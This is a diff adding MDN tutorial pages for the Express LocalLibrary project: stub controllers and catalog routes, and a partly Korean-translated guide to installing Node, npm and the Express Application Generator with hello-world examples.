+<p>Open the <strong>/controllers/bookinstanceController.js</strong> file and copy in the following code (this follows an identical pattern to the <code>Author</code> controller module):</p>
+
+<pre class="brush: js">var BookInstance = require('../models/bookinstance');
+
+// Display list of all BookInstances
+exports.bookinstance_list = function(req, res) {
+    res.send('NOT IMPLEMENTED: BookInstance list');
+};
+
+// Display detail page for a specific BookInstance
+exports.bookinstance_detail = function(req, res) {
+    res.send('NOT IMPLEMENTED: BookInstance detail: ' + req.params.id);
+};
+
+// Display BookInstance create form on GET
+exports.bookinstance_create_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: BookInstance create GET');
+};
+
+// Handle BookInstance create on POST
+exports.bookinstance_create_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: BookInstance create POST');
+};
+
+// Display BookInstance delete form on GET
+exports.bookinstance_delete_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: BookInstance delete GET');
+};
+
+// Handle BookInstance delete on POST
+exports.bookinstance_delete_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: BookInstance delete POST');
+};
+
+// Display BookInstance update form on GET
+exports.bookinstance_update_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: BookInstance update GET');
+};
+
+// Handle bookinstance update on POST
+exports.bookinstance_update_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: BookInstance update POST');
+};
+</pre>
+
+<h4 id="Genre_controller">Genre controller</h4>
+
+<p>Open the <strong>/controllers/genreController.js</strong> file and copy in the following text (this follows an identical pattern to the <code>Author</code> and <code>BookInstance</code> files):</p>
+
+<pre class="brush: js">var Genre = require('../models/genre');
+
+// Display list of all Genre
+exports.genre_list = function(req, res) {
+    res.send('NOT IMPLEMENTED: Genre list');
+};
+
+// Display detail page for a specific Genre
+exports.genre_detail = function(req, res) {
+    res.send('NOT IMPLEMENTED: Genre detail: ' + req.params.id);
+};
+
+// Display Genre create form on GET
+exports.genre_create_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: Genre create GET');
+};
+
+// Handle Genre create on POST
+exports.genre_create_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: Genre create POST');
+};
+
+// Display Genre delete form on GET
+exports.genre_delete_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: Genre delete GET');
+};
+
+// Handle Genre delete on POST
+exports.genre_delete_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: Genre delete POST');
+};
+
+// Display Genre update form on GET
+exports.genre_update_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: Genre update GET');
+};
+
+// Handle Genre update on POST
+exports.genre_update_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: Genre update POST');
+};
+</pre>
+
+<h4 id="Book_controller">Book controller</h4>
+
+<p>Open the <strong>/controllers/bookController.js</strong> file and copy in the following code. This follows the same pattern as the other controller modules, but additionally has an <code>index()</code> function for displaying the site welcome page:</p>
+
+<pre class="brush: js">var Book = require('../models/book');
+
+<strong>exports.index = function(req, res) {
+    res.send('NOT IMPLEMENTED: Site Home Page');
+};</strong>
+
+// Display list of all books
+exports.book_list = function(req, res) {
+    res.send('NOT IMPLEMENTED: Book list');
+};
+
+// Display detail page for a specific book
+exports.book_detail = function(req, res) {
+    res.send('NOT IMPLEMENTED: Book detail: ' + req.params.id);
+};
+
+// Display book create form on GET
+exports.book_create_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: Book create GET');
+};
+
+// Handle book create on POST
+exports.book_create_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: Book create POST');
+};
+
+// Display book delete form on GET
+exports.book_delete_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: Book delete GET');
+};
+
+// Handle book delete on POST
+exports.book_delete_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: Book delete POST');
+};
+
+// Display book update form on GET
+exports.book_update_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: Book update GET');
+};
+
+// Handle book update on POST
+exports.book_update_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: Book update POST');
+};
+</pre>
+
+<h2 id="Create_the_catalog_route_module">Create the catalog route module</h2>
+
+<p>Next we create <em>routes</em> for all the URLs <a href="#local_libary_routes">needed by the LocalLibrary website</a>, which will call the controller functions we defined in the previous section.</p>
+
+<p>The skeleton already has a <strong>./routes</strong> folder containing routes for the <em>index</em> and <em>users</em>. Create another route file — <strong>catalog.js</strong> — inside this folder, as shown.</p>
+
+<pre>/express-locallibrary-tutorial //the project root
+  /routes
+    index.js
+    users.js
+    <strong>catalog.js</strong></pre>
+
+<p>Open <strong>/routes/</strong><strong>catalog.js</strong> and copy in the code below:</p>
+
+<pre class="brush: js"><strong>var express = require('express');
+var router = express.Router();
+</strong>
+// Require controller modules
+var book_controller = require('../controllers/bookController');
+var author_controller = require('../controllers/authorController');
+var genre_controller = require('../controllers/genreController');
+var book_instance_controller = require('../controllers/bookinstanceController');
+
+/// BOOK ROUTES ///
+
+/* GET catalog home page. */
+router.get('/', book_controller.index);
+
+/* GET request for creating a Book. NOTE This must come before routes that display Book (uses id) */
+router.get('/book/create', book_controller.book_create_get);
+
+/* POST request for creating Book. */
+router.post('/book/create', book_controller.book_create_post);
+
+/* GET request to delete Book. */
+router.get('/book/:id/delete', book_controller.book_delete_get);
+
+// POST request to delete Book
+router.post('/book/:id/delete', book_controller.book_delete_post);
+
+/* GET request to update Book. */
+router.get('/book/:id/update', book_controller.book_update_get);
+
+// POST request to update Book
+router.post('/book/:id/update', book_controller.book_update_post);
+
+/* GET request for one Book. */
+router.get('/book/:id', book_controller.book_detail);
+
+/* GET request for list of all Book items. */
+router.get('/books', book_controller.book_list);
+
+/// AUTHOR ROUTES ///
+
+/* GET request for creating Author. NOTE This must come before route for id (i.e. display author) */
+router.get('/author/create', author_controller.author_create_get);
+
+/* POST request for creating Author. */
+router.post('/author/create', author_controller.author_create_post);
+
+/* GET request to delete Author. */
+router.get('/author/:id/delete', author_controller.author_delete_get);
+
+// POST request to delete Author
+router.post('/author/:id/delete', author_controller.author_delete_post);
+
+/* GET request to update Author. */
+router.get('/author/:id/update', author_controller.author_update_get);
+
+// POST request to update Author
+router.post('/author/:id/update', author_controller.author_update_post);
+
+/* GET request for one Author. */
+router.get('/author/:id', author_controller.author_detail);
+
+/* GET request for list of all Authors. */
+router.get('/authors', author_controller.author_list);
+
+/// GENRE ROUTES ///
+
+/* GET request for creating a Genre. NOTE This must come before route that displays Genre (uses id) */
+router.get('/genre/create', genre_controller.genre_create_get);
+
+/* POST request for creating Genre. */
+router.post('/genre/create', genre_controller.genre_create_post);
+
+/* GET request to delete Genre. */
+router.get('/genre/:id/delete', genre_controller.genre_delete_get);
+
+// POST request to delete Genre
+router.post('/genre/:id/delete', genre_controller.genre_delete_post);
+
+/* GET request to update Genre. */
+router.get('/genre/:id/update', genre_controller.genre_update_get);
+
+// POST request to update Genre
+router.post('/genre/:id/update', genre_controller.genre_update_post);
+
+/* GET request for one Genre. */
+router.get('/genre/:id', genre_controller.genre_detail);
+
+/* GET request for list of all Genre. */
+router.get('/genres', genre_controller.genre_list);
+
+/// BOOKINSTANCE ROUTES ///
+
+/* GET request for creating a BookInstance. NOTE This must come before route that displays BookInstance (uses id) */
+router.get('/bookinstance/create', book_instance_controller.bookinstance_create_get);
+
+/* POST request for creating BookInstance. */
+router.post('/bookinstance/create', book_instance_controller.bookinstance_create_post);
+
+/* GET request to delete BookInstance. */
+router.get('/bookinstance/:id/delete', book_instance_controller.bookinstance_delete_get);
+
+// POST request to delete BookInstance
+router.post('/bookinstance/:id/delete', book_instance_controller.bookinstance_delete_post);
+
+/* GET request to update BookInstance. */
+router.get('/bookinstance/:id/update', book_instance_controller.bookinstance_update_get);
+
+// POST request to update BookInstance
+router.post('/bookinstance/:id/update', book_instance_controller.bookinstance_update_post);
+
+/* GET request for one BookInstance. */
+router.get('/bookinstance/:id', book_instance_controller.bookinstance_detail);
+
+/* GET request for list of all BookInstance. */
+router.get('/bookinstances', book_instance_controller.bookinstance_list);
+
+<strong>module.exports = router;</strong>
+</pre>
+
+<p>The module requires Express and then uses it to create a <code>Router</code> object. The routes are all set up on the router, which is then exported.</p>
+
+<p>The routes are defined either using <code>.get()</code> or <code>.post()</code> methods on the router object. All the paths are defined using strings (we don't use string patterns or regular expressions), routes that act on some specific resource (e.g. book) use path parameters to get the object id from the URL.</p>
+
+<p>The handler functions are all imported from the controller modules we created in the previous section.</p>
+
+<h3 id="Update_the_index_route_module">Update the index route module</h3>
+
+<p>We've set up all our new routes, but we still have a route to the original page. Let's instead redirect this to the new index page that we've created at the path '/catalog'.</p>
+
+<p>Open <strong>/routes/index.js</strong> and replace the existing route with the function below.</p>
+
+<pre class="brush: js">/* GET home page. */
+router.get('/', function(req, res) {
+  res.redirect('/catalog');
+});</pre>
+
+<div class="note">
+<p><strong>Note:</strong> This is our first use of the <a href="https://expressjs.com/en/4x/api.html#res.redirect">redirect()</a> response method. This redirects to the specified page, by default sending HTTP status code "302 Found". You can change the status code returned if needed, and supply either absolute or relative paths.</p>
+</div>
+
+<h3 id="Update_app.js">Update app.js</h3>
+
+<p>The last step is to add the routes to the middleware chain. We do this in <code>app.js</code>.</p>
+
+<p>Open <strong>app.js</strong> and require the catalog route below the other routes (add the third line shown below, underneath the other two):</p>
+
+<pre class="brush: js">var index = require('./routes/index');
+var users = require('./routes/users');
+<strong>var catalog = require('./routes/catalog');  //Import routes for "catalog" area of site</strong></pre>
+
+<p>Next, add the catalog route to the middleware stack below the other routes (add the third line shown below, underneath the other two):</p>
+
+<pre class="brush: js">app.use('/', index);
+app.use('/users', users);
+<strong>app.use('/catalog', catalog);  // Add catalog routes to middleware chain.</strong></pre>
+
+<div class="note">
+<p><strong>Note:</strong> We have added our catalog module at a path <code>'/catalog'</code>. This is prepended to all of the paths defined in the catalog module. So for example, to access a list of books, the URL will be: <code>/catalog/books/</code>.</p>
+</div>
+
+<p>That's it. We should now have routes and skeleton functions enabled for all the URLs that we will eventually support on the LocalLibrary website.</p>
+
+<h3 id="Testing_the_routes">Testing the routes</h3>
+
+<p>To test the routes, first start the website using your usual approach</p>
+
+<ul>
+ <li>The default method
+  <pre class="brush: bash"><code>//Windows
+SET DEBUG=express-locallibrary-tutorial:* &amp; npm start
+
+// Mac OS or Linux
+DEBUG=express-locallibrary-tutorial:* npm start</code>
+</pre>
+ </li>
+ <li>If you previously set up <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">nodemon</a>, you can instead use:
+  <pre><code>//Windows
+SET DEBUG=express-locallibrary-tutorial:* &amp; npm <strong>run devstart</strong>
+
+// Mac OS or Linux
+</code>DEBUG=express-locallibrary-tutorial:* npm <strong style="font-family: inherit; font-size: 1rem;">run devstart</strong>
+</pre>
+ </li>
+</ul>
+
+<p>Then navigate to a number of LocalLibrary URLs, and verify that you don't get an error page (HTTP 404). A small set of URLs are listed below for your convenience:</p>
+
+<ul>
+ <li><a href="http://localhost:3000/">http://localhost:3000/</a></li>
+ <li><a href="http://localhost:3000/catalog">http://localhost:3000/catalog</a></li>
+ <li><a href="http://localhost:3000/catalog/books">http://localhost:3000/catalog/books</a></li>
+ <li><a href="http://localhost:3000/catalog/bookinstances/">http://localhost:3000/catalog/bookinstances/</a></li>
+ <li><a href="http://localhost:3000/catalog/authors/">http://localhost:3000/catalog/authors/</a></li>
+ <li><a href="http://localhost:3000/catalog/genres/">http://localhost:3000/catalog/genres/</a></li>
+ <li><a href="http://localhost:3000/catalog/book/5846437593935e2f8c2aa226/">http://localhost:3000/catalog/book/5846437593935e2f8c2aa226</a></li>
+ <li><a href="http://localhost:3000/catalog/book/create">http://localhost:3000/catalog/book/create</a></li>
+</ul>
+
+<h2 id="Summary">Summary</h2>
+
+<p>We've now created all the routes for our site, along with dummy controller functions that we can populate with a full implementation in later articles. Along the way we've learned a lot of fundamental information about Express routes, and some approaches for structuring our routes and controllers.</p>
+
+<p>In our next article we'll create a proper welcome page for the site, using views (templates) and information stored in our models.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="http://expressjs.com/en/starter/basic-routing.html">Basic routing</a> (Express docs)</li>
+ <li><a href="http://expressjs.com/en/guide/routing.html">Routing guide</a> (Express docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs/Displaying_data", "Learn/Server-side/Express_Nodejs")}}</p>
diff --git a/files/ko/learn/server-side/express_nodejs/개발_환경/index.html b/files/ko/learn/server-side/express_nodejs/개발_환경/index.html
new file mode 100644
index 0000000000..b8c8db8ffa
--- /dev/null
+++ b/files/ko/learn/server-side/express_nodejs/개발_환경/index.html
@@ -0,0 +1,403 @@
+---
+title: Node 개발 환경을 설치하기
+slug: Learn/Server-side/Express_Nodejs/개발_환경
+tags:
+  - CodingScripting
+  - Express
+  - Node
+  - nodejs
+  - npm
+  - 개발 환경
+  - 배움
+  - 서버-사이드
+  - 인트로
+  - 초보자
+translation_of: Learn/Server-side/Express_Nodejs/development_environment
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}</div>
+
+<p class="summary">이제 Express에 관한 내용을 알았으니, Windows, Linux (Ubuntu), 그리고 macOS 에서의 Node/Express 개발 환경을 설정하고 테스트하는 법을 보여드리겠습니다. 사용중인 운영 체제가 무엇이든 간에, 이 글은 당신에게 Express 앱 개발을 시작할 수 있도록 필요한 내용을 제공합니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제 조건:</th>
+   <td>터미널 혹은 명령어 창을 여는 방법. 당신의 개발 컴퓨터의 운영 체제에 소프트웨어 패키지를 설치하는 방법을 알고 있어야 합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>당신의 컴퓨터에 Express (X.XX) 을 위한 개발 환경을 설치하는 것.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Express_개발_환경_개요">Express 개발 환경 개요</h2>
+
+<p><em>Node</em> and <em>Express</em> make it very easy to set up your computer in order to start developing web applications. This section provides an overview of what tools are needed, explains some of the simplest methods for installing Node (and Express) on Ubuntu, macOS, and Windows, and shows how you can test your installation.</p>
+
+<h3 id="Express_개발_환경이란_무엇입니까">Express 개발 환경이란 무엇입니까?</h3>
+
+<p>The <em>Express</em> development environment includes an installation of <em>Nodejs</em>, the <em>NPM package manager</em>, and (optionally) the <em>Express Application Generator</em> on your local computer.</p>
+
+<p><em>Node</em> and the <em>NPM</em> package manager are installed together from prepared binary packages, installers, operating system package managers or from source (as shown in the following sections). <em>Express</em> is then installed by NPM as a dependency of your individual <em>Express</em> web applications (along with other libraries like template engines, database drivers, authentication middleware, middleware to serve static files, etc.)</p>
+
+<p><em>NPM</em> can also be used to (globally) install the <em>Express Application Generator</em>, a handy tool for creating skeleton <em>Express</em> web apps that follow the <a href="https://developer.mozilla.org/en-US/docs/Glossary/MVC">MVC pattern</a>. The application generator is optional because you don't <em>need</em> to use this tool to create apps that use Express, or construct Express apps that have the same architectural layout or dependencies. We'll be using it though, because it makes getting started a lot easier, and promotes a modular application structure.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Unlike for some other web frameworks, the development environment does not include a separate development web server. In <em>Node</em>/<em>Express</em> a web application creates and runs its own web server!</p>
+</div>
+
+<p>There are other peripheral tools that are part of a typical development environment, including <a href="/en-US/docs/Learn/Common_questions/Available_text_editors">text editors</a> or IDEs for editing code, and source control management tools like <a href="https://git-scm.com/">Git</a> for safely managing different versions of your code. We are assuming that you've already got these sorts of tools installed (in particular a text editor).</p>
+
+<h3 id="What_operating_systems_are_supported">What operating systems are supported?</h3>
+
+<p><em>Node</em> can be run on Windows, macOS, many "flavours" of Linux, Docker, etc. (there is a full list on the nodejs <a href="https://nodejs.org/en/download/">Downloads</a> page). Almost any personal computer should have the necessary performance to run Node during development. <em>Express</em> is run in a <em>Node</em> environment, and hence can run on any platform that runs <em>Node</em>.</p>
+
+<p>In this article we provide setup instructions for Windows, macOS, and Ubuntu Linux.</p>
+
+<h3 id="What_version_of_NodeExpress_should_you_use">What version of Node/Express should you use?</h3>
+
+<p>There are many <a href="https://nodejs.org/en/blog/release/">releases of Node</a> — newer releases contain bug fixes, support for more recent versions of ECMAScript (JavaScript) standards, and improvements to the Node APIs. </p>
+
+<p>Generally you should use the most recent <em>LTS (long-term supported)</em> release as this will be more stable than the "current" release while still having relatively recent features (and is still being actively maintained). You should use the <em>Current</em> release if you need a feature that is not present in the LTS version.</p>
+
+<p>For <em>Express</em> you should always use the latest version.</p>
+
+<h3 id="What_about_databases_and_other_dependencies">What about databases and other dependencies?</h3>
+
+<p>Other dependencies, such as database drivers, template engines, authentication engines, etc. are part of the application, and are imported into the application environment using the NPM package manager.  We'll discuss them in later app-specific articles.</p>
+
+<h2 id="Node_설치하기">Node 설치하기</h2>
+
+<p>In order to use <em>Express</em> you will first have to install <em>Nodejs</em> and the <a href="https://docs.npmjs.com/">Node Package Manager (NPM)</a> on your operating system. The following sections explain the easiest way to install the Long Term Supported (LTS) version of Nodejs on Ubuntu Linux 16.04, macOS, and Windows 10.</p>
+
+<div class="note">
+<p><strong>Tip:</strong> The sections below show the easiest way to install <em>Node</em> and <em>NPM</em> on our target OS platforms. If you're using another OS or just want to see some of the other approaches for the current platforms then see <a href="https://nodejs.org/en/download/package-manager/">Installing Node.js via package manager</a> (nodejs.org).</p>
+</div>
+
+<h3 id="Windows_and_macOS">Windows and macOS</h3>
+
+<p>Installing <em>Node</em> and <em>NPM</em> on Windows and macOS is straightforward because you can just use the provided installer:</p>
+
+<ol>
+ <li>Download the required installer:
+  <ol>
+   <li>Go to <a href="https://nodejs.org/en/">https://nodejs.org/en/</a></li>
+   <li>Select the button to download the LTS build that is "Recommended for most users".</li>
+  </ol>
+ </li>
+ <li>Install Node by double-clicking on the downloaded file and following the installation prompts.</li>
+</ol>
+
+<h3 id="Ubuntu_18.04">Ubuntu 18.04</h3>
+
+<p>The easiest way to install the most recent LTS version of Node 10.x is to use the <a href="https://nodejs.org/en/download/package-manager/#debian-and-ubuntu-based-linux-distributions">package manager</a> to get it from the Ubuntu <em>binary distributions</em> repository. This can be done very simply by running the following two commands on your terminal:</p>
+
+<pre class="brush: bash">curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -
+sudo apt-get install -y nodejs
+</pre>
+
+<div class="warning">
+<p><strong>Warning:</strong> Don't install directly from the normal Ubuntu repositories because they contain very old versions of node.</p>
+</div>
+
+<ol>
+</ol>
+
+<h3 id="Testing_your_Nodejs_and_NPM_installation">Testing your Nodejs and NPM installation</h3>
+
+<p>The easiest way to test that node is installed is to run the "version" command in your terminal/command prompt and check that a version string is returned:</p>
+
+<pre class="brush: bash">&gt;node -v
+v10.15.1</pre>
+
+<p>The <em>Nodejs</em> package manager <em>NPM</em> should also have been installed, and can be tested in the same way:</p>
+
+<pre class="brush: bash">&gt;npm -v
+6.4.1</pre>
+
+<p>As a slightly more exciting test let's create a very basic "pure node" server that simply prints out "Hello World" in the browser when you visit the correct URL in your browser:</p>
+
+<ol>
+ <li>Copy the following text into a file named <strong>hellonode.js</strong>. This uses pure <em>Node</em> features (nothing from Express) and some ES6 syntax:
+
+  <pre class="brush: js">//Load HTTP module
+const http = require("http");
+const hostname = '127.0.0.1';
+const port = 3000;
+
+//Create HTTP server and listen on port 3000 for requests
+const server = http.createServer((req, res) =&gt; {
+
+  //Set the response HTTP header with HTTP status and Content type
+  res.statusCode = 200;
+  res.setHeader('Content-Type', 'text/plain');
+  res.end('Hello World\n');
+});
+
+//listen for request on port 3000, and as a callback function have the port listened on logged
+server.listen(port, hostname, () =&gt; {
+  console.log(`Server running at http://${hostname}:${port}/`);
+});
+</pre>
+
+  <p>The code imports the "http" module and uses it to create a server (<code>createServer()</code>) that listens for HTTP requests on port 3000. The script then prints a message to the console about what browser URL you can use to test the server. The <code>createServer()</code> function takes as an argument a callback function that will be invoked when an HTTP request is received — this simply returns a response with an HTTP status code of 200 ("OK") and the plain text "Hello World".</p>
+
+  <div class="note">
+  <p><strong>Note:</strong>  Don't worry if you don't understand exactly what this code is doing yet! We'll explain our code in greater detail once we start using Express!</p>
+  </div>
+ </li>
+ <li>Start the server by navigating into the same directory as your <code>hellonode.js</code> file in your command prompt, and calling <code>node</code> along with the script name, like so:
+  <pre class="brush: bash">&gt;node hellonode.js
+Server running at http://127.0.0.1:3000/
+</pre>
+ </li>
+ <li>Navigate to the URL <a href="http://127.0.0.1:3000">http://127.0.0.1:3000 </a>. If everything is working, the browser should simply display the string "Hello World".</li>
+</ol>
+
+<h2 id="Using_NPM">Using NPM</h2>
+
+<p>Next to <em>Node</em> itself, <a href="https://docs.npmjs.com/">NPM</a> is the most important tool for working with<em> Node </em>applications. NPM is used to fetch any packages (JavaScript libraries) that an application needs for development, testing, and/or production, and may also be used to run tests and tools used in the development process. </p>
+
+<div class="note">
+<p><strong>Note:</strong> From Node's perspective, <em>Express</em> is just another package that you need to install using NPM and then require in your own code.</p>
+</div>
+
+<p>You can manually use NPM to separately fetch each needed package. Typically we instead manage dependencies using a plain-text definition file named <a href="https://docs.npmjs.com/files/package.json">package.json</a>. This file lists all the dependencies for a specific JavaScript "package", including the package's name, version, description, initial file to execute, production dependencies, development dependencies, versions of <em>Node</em> it can work with, etc. The <strong>package.json</strong> file should contain everything NPM needs to fetch and run your application (if you were writing a reusable library you could use this definition to upload your package to the npm respository and make it available for other users).</p>
+
+<h3 id="Adding_dependencies">Adding dependencies</h3>
+
+<p>The following steps show how you can use NPM to download a package, save it into the project dependencies, and then require it in a Node application.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Here we show the instructions to fetch and install the <em>Express</em> package. Later on we'll show how this package, and others, are already specified for us using the <em>Express Application Generator</em>. This section is provided because it is useful to understand how NPM works and what is being created by the application generator.</p>
+</div>
+
+<ol>
+ <li>First create a directory for your new application and navigate into it:
+  <pre class="brush: bash">mkdir myapp
+cd myapp</pre>
+ </li>
+ <li>Use the npm <code>init</code> command to create a <strong>package.json</strong> file for your application. This command prompts you for a number of things, including the name and version of your application and the name of the initial entry point file (by default this is <strong>index.js</strong>). For now, just accept the defaults:
+  <pre class="brush: bash">npm init</pre>
+
+  <p>If you display the <strong>package.json</strong> file (<code>cat package.json</code>), you will see the defaults that you accepted, ending with the license.</p>
+
+  <pre class="brush: json">{
+  "name": "myapp",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" &amp;&amp; exit 1"
+  },
+  "author": "",
+  "license": "ISC"
+}
+</pre>
+ </li>
+ <li>Now install Express in the <code>myapp</code> directory and save it in the dependencies list of your <strong>package.json</strong> file</li>
+ <li>
+  <pre class="brush: bash">npm install express</pre>
+
+  <p>The dependencies section of your <strong>package.json</strong> will now appear at the end of the <strong>package.json</strong> file and will include <em>Express</em>.</p>
+
+  <pre class="brush: json">{
+  "name": "myapp",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" &amp;&amp; exit 1"
+  },
+  "author": "",
+  "license": "ISC",
+<strong>  "dependencies": {
+    "express": "^4.16.4"
+  }</strong>
+}
+</pre>
+ </li>
+ <li>To use the Express library you call the <code>require()</code> function in your index.js file to include it in your application. Create this file now, in the root of the "myapp" application directory, and give it the following contents:
+  <pre class="brush: js">const express = require('express')
+const app = express();
+
+app.get('/', (req, res) =&gt; {
+  res.send('Hello World!')
+});
+
+app.listen(8000, () =&gt; {
+  console.log('Example app listening on port 8000!')
+});
+</pre>
+
+  <p>This code shows a minimal "HelloWorld" Express web application. This imports the "express" module using <code>require()</code> and uses it to create a server (<code>app</code>) that listens for HTTP requests on port 8000 and prints a message to the console explaining what browser URL you can use to test the server. The <code>app.get()</code> function only responds to HTTP <code>GET</code> requests with the specified URL path ('/'), in this case by calling a function to send our <em>Hello World!</em> message.</p>
+ </li>
+ <li>You can start the server by calling node with the script in your command prompt:
+  <pre class="brush: bash">&gt;node index.js
+Example app listening on port 8000
+</pre>
+ </li>
+ <li>Navigate to the URL (<a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>). If everything is working, the browser should simply display the string "Hello World!".</li>
+</ol>
+
+<h3 id="Development_dependencies">Development dependencies</h3>
+
+<p>If a dependency is only used during development, you should instead save it as a "development dependency" (so that your package users don't have to install it in production). For example, to use the popular JavaScript Linting tool <a href="http://eslint.org/">eslint</a> you would call NPM as shown:</p>
+
+<pre class="brush: bash"><code>npm install eslint --save-dev</code></pre>
+
+<p>The following entry would then be added to your application's <strong>package.json</strong>:</p>
+
+<pre class="brush: js">  "devDependencies": {
+    "eslint": "^4.12.1"
+  }
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> "<a href="https://en.wikipedia.org/wiki/Lint_(software)">Linters</a>" are tools that perform static analysis on software in order to recognise and report adherence/non-adherance to some set of coding best practice.</p>
+</div>
+
+<h3 id="Running_tasks">Running tasks</h3>
+
+<p>In addition to defining and fetching dependencies you can also define <em>named</em> scripts in your <strong>package.json</strong> files and call NPM to execute them with the <a href="https://docs.npmjs.com/cli/run-script">run-script</a> command. This approach is commonly used to automate running tests and parts of the development or build toolchain (e.g., running tools to minify JavaScript, shrink images, LINT/analyse your code, etc).</p>
+
+<div class="note">
+<p><strong>Note:</strong> Task runners like <a href="http://gulpjs.com/">Gulp</a> and <a href="http://gruntjs.com/">Grunt</a> can also be used to run tests and other external tools.</p>
+</div>
+
+<p>For example, to define a script to run the <em>eslint</em> development dependency that we specified in the previous section we might add the following script block to our <strong>package.json</strong> file (assuming that our application source is in a folder /src/js):</p>
+
+<pre class="brush: js">"scripts": {
+  ...
+  "lint": "eslint src/js"
+  ...
+}
+</pre>
+
+<p>To explain a little further, <code>eslint src/js</code> is a command that we could enter in our terminal/command line to run <code>eslint</code> on JavaScript files contained in the <code>src/js</code> directory inside our app directory. Including the above inside our app's package.json file provides a shortcut for this command — <code>lint</code>.</p>
+
+<p>We would then be able to run <em>eslint</em> using NPM by calling:</p>
+
+<pre class="brush: bash"><code>npm run-script lint
+# OR (using the alias)
+npm run lint</code>
+</pre>
+
+<p>This example may not look any shorter than the original command, but you can include much bigger commands inside your npm scripts, including chains of multiple commands. You could identify a single npm script that runs all your tests at once.</p>
+
+<h2 id="Installing_the_Express_Application_Generator">Installing the Express Application Generator</h2>
+
+<p>The <a href="https://expressjs.com/en/starter/generator.html">Express Application Generator</a> tool generates an Express application "skeleton". Install the generator using NPM as shown (the <code>-g</code> flag installs the tool globally so that you can call it from anywhere):</p>
+
+<pre><code>npm install express-generator -g</code></pre>
+
+<p>To create an <em>Express</em> app named "helloworld" with the default settings, navigate to where you want to create it and run the app as shown:</p>
+
+<pre class="brush: bash">express helloworld</pre>
+
+<div class="note">
+<p><strong>Note: </strong>You can also specify the template library to use and a number of other settings. Use the <code>help</code> command to see all the options:</p>
+
+<pre class="brush: bash">express --help
+</pre>
+</div>
+
+<p>NPM will create the new Express app in a sub folder of your current location, displaying build progress on the console. On completion, the tool will display the commands you need to enter to install the Node dependencies and start the app.</p>
+
+<div class="note">
+<p>The new app will have a <strong>package.json</strong> file in its root directory. You can open this to see what dependencies are installed, including Express and the template library Jade:</p>
+
+<pre class="brush: js">{
+  "name": "helloworld",
+  "version": "0.0.0",
+  "private": true,
+  "scripts": {
+    "start": "node ./bin/www"
+  },
+  "dependencies": {
+    "cookie-parser": "~1.4.3",
+    "debug": "~2.6.9",
+    "express": "~4.16.0",
+    "http-errors": "~1.6.2",
+    "jade": "~1.11.0",
+    "morgan": "~1.9.0"
+  }
+}
+</pre>
+
+<p> </p>
+</div>
+
+<p>Install all the dependencies for the helloworld app using NPM as shown:</p>
+
+<pre class="brush: bash">cd helloworld
+npm install
+</pre>
+
+<p>Then run the app (the commands are slightly different for Windows and Linux/macOS), as shown below:</p>
+
+<pre class="brush: bash"># Run the helloworld on Windows with Command Prompt
+SET DEBUG=helloworld:* &amp; npm start
+
+# Run the helloworld on Windows with PowerShell
+SET DEBUG=helloworld:* | npm start
+
+# Run helloworld on Linux/macOS
+DEBUG=helloworld:* npm start
+</pre>
+
+<p>The DEBUG command creates useful logging, resulting in an output like that shown below.</p>
+
+<pre class="brush: bash">&gt;SET DEBUG=helloworld:* &amp; npm start
+
+&gt; helloworld@0.0.0 start D:\Github\expresstests\helloworld
+&gt; node ./bin/www
+
+  helloworld:server Listening on port 3000 +0ms</pre>
+
+<p>Open a browser and navigate to <a href="http://127.0.0.1:3000/">http://127.0.0.1:3000/</a> to see the default Express welcome page.</p>
+
+<p><img alt="Express - Generated App Default Screen" src="https://mdn.mozillademos.org/files/14331/express_default_screen.png" style="border-style: solid; border-width: 1px; display: block; height: 301px; margin: 0px auto; width: 675px;"></p>
+
+<p>We'll talk more about the generated app when we get to the article on generating a skeleton application.</p>
+
+<ul>
+</ul>
+
+<h2 id="Summary">Summary</h2>
+
+<p>You now have a Node development environment up and running on your computer that can be used for creating Express web applications. You've also seen how NPM can be used to import Express into an application, and also how you can create applications using the Express Application Generator tool and then run them.</p>
+
+<p>In the next article we start working through a tutorial to build a complete web application using this environment and associated tools.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://nodejs.org/en/download/">Downloads</a> page (nodejs.org)</li>
+ <li><a href="https://nodejs.org/en/download/package-manager/">Installing Node.js via package manager</a> (nodejs.org)</li>
+ <li><a href="http://expressjs.com/en/starter/installing.html">Installing Express</a> (expressjs.com)</li>
+ <li><a href="https://expressjs.com/en/starter/generator.html">Express Application Generator</a> (expressjs.com)</li>
